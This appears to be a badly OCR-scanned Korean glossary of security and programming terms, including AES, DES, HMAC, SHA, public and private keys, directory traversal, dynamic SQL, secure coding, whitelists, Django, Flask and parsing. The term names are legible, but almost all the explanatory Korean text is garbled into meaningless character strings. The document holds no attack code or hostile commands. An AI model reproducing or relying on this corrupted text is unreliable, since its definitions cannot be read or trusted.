developernation.netOflA] 0§ 16574= 30,000 O[AQ] JLUXISS HACE MEXAIE 6t MBI QUCE &, ZHRY,
HATE, ScIRE, LU loT, AHAL TRt MiE, UHCEATEN, AR X VRS Lot 2012 24FS HAlst? UC.

@ AES(Advanced Encryption Standard)
02 Y2 BZEC= XIHE S5 YS FYAO= 0|X2| DESE UXISHH, 0= H#E 7|& 74 (NIST)7t b9 HES}
WHE AN 2001E 118 2620 S HEXM|EZ(FIPS 197)22 UHSINLCL

® DES 21125
DES(Data Encryption Standard)&= &3} 7|t 25517|7t 22 HE7]| ASZ 64H|EQ| AUSSH|E ALESICL.
M43 Z(Brute Force)3Z0| F(2oiCt.
® HMAC(Hash-based Message Authentication Code)
ofiAl 7|8t HIAIX] 21F ZE, MD5, SHA-1 & =X2l A28t oAl 7SS H
dot= A0| 27ksot=g of 7| 71He| HIAIX| 215 ¥112|F0|C.

O
I'

! S8712 H ArEotH, MAESE

U

® HTTPS(Hypertext Transfer Protocol over Secure Socket Layer)
WWWI(ZE 2IOIE ¢) EM O2EZO! HTTPL| HOt0| ZsE HTMOo|Ct

® LDAP(Lightweight Directory Access Protocol)
TCP/IP 2I0IlM CIMEZ| MHIAE Z3(51 +Foh= 88 Z2EZ0|Ch

@ SHA(Secure Hash Algorithm)
SHAIY I E|E9 YEOZ MD52| F[eFdS CHAISI ARSICE SHA, SHA-1, SHA-2(SHA-224, SHA-256, SHA-384,
SHA-512) S92 CtFst HHMO0| Qlon, s TZEZQI TLS, SSL, PGP, SSH, IPSec S0l AFEEICE

® umask
ol = ClEEZ|Q Hetg AE5H| et HEOO|CY.

@ JH2I3I(Private Key)
37| 7IE R0 JHQI7 |2 -E58E @foll HIZ HIAXIE wEtoh= FAIKITO| 211 Q4= 7|0|Ct.

@ ZJH3I(Public Key)
THFI= XIHE QIS7|0N 2ok MBEI= 7302 A, 0| Z7H7|REE| MM JHOI7 |9 B ZEI0f, HIAIX| & FX}

MEO| o-=58i0f UXMOZ AZE 4= Ut SIS ALEdk= AIA'RS S7H7| 7| Z(Public Key Infrastructure,

PKI2t

re

ct.

@ Z==3|(directory traversal)
HUZE Fx YA/ /8)S 018dl TE CiEEZ|Q SN Hdoh= SAUHCE = FXH0I2tNE

re
s
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® =& SQL(Dynamic SQL)
OD2#9| Z240f M2t SQLEO| LA Ydkls 39, Z=T03 43 Ao M| H220| 2= DB 2Fok=
SQL=

njo

QUSIC}

@ S& 2I(Dynamic Query)
ZZO|Lt HOISHS I SQL H2E A7 W&ol DB M50 X2loh= 42I0|C,

® AZEQ0] JHEO

ro

H

’

A, =2|X QF SOZ 5 AZEQ00] LHKHE ZOtFAHS Z|As5h=

id S HAUH ST = A= AR 2AZEQ0E TS| flet 2 9 1rgS ojsitt. #2 20joA ATE

A THEER2 ATEQN YFFT(9| 2t HAEZ Q7&= BoEESS BF Eololl, &2 20|2= SWIHEIFY0IA
A

AATES Aol= 1ol HAOIM EotordS Hiich | It ‘AR ZE(Secure Coding)'S 2|0IBICL.

® 8=E IiEl(Singleton Pattern)
SiLte] =273 LHOJIA SHLtO| QIABIADLS MAMEHOFRE Sh= THEO|Ct. Connection Pool, Thread Poolz} Z0| Pool
HEZ o|cl= A0 FR D= LHOA T otte] AABERZ #U2[5H0F o= HRE Tl DiOPMUM= ZiX=
HNISELC.

@ ZA 32I(Static Query)
SH 2ot g2 T2 AATEN 00| H220| 2dE HEiz 10 ALt

o dfiAlzs
7071 RI2OIA DS Z0[0] OUIHS AABHS AT |HOID, AT 32 SHAIZLOI2HD BICL MD5, SHA, SHA,

SHA-256 S92 Y1E|E0| UCt

@ SI0IE 2lAE(White List)

SH|AE(Black List)2l BIHHEOR MRS 4 QU= AO|EL} IPFA S22 WSICH

=

@ 1 & T3 (Django Web Framework)
TOMO 2 RHME| QX AA 9l T3 2 DE(Model)-F(View)-ZHEZ2{(Controller)?] MVCIHEIE =21 )L}
HSHQ MVC CIXR!I THEOIA O[0F7[oh=s HEEZ2(Q| 7152 ZUAI XXM M2ISH |0 22 (Model), BEH
(Template), F(View)2 27l MTV ZUF2t0 5P7|= ST, HEHE THAIZEn 217018t 754, HiE 71

S= gZoll AUt

@ =CtA3 & T 3(Flask Web Framework)
OO[MMO 2 XM= 010|322 & T UY3F 9| SHLI0|H, st ALt 2l0[E22|7t BQ 17| R0 00|22 =

f=2te #EC
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@ IIt&(Parsing)
YO EAES 20| U= token(02] ZMQ| HR)CZ Falistl INSZ 0|R 0T Parse treeS == IPYO|CH OfH
TS BMoL B8 HAIE ofiMols HRIE 2ot

® DIt A(Parser)
A (compiler)2| Y22 AMAUILL QIHZZ|E{(Interpreter)iiN FA| Z2TIHE 10 S0 1 29| XS Y0}
Li= parsing(11E2 24)2 YYol= T2 UBICL
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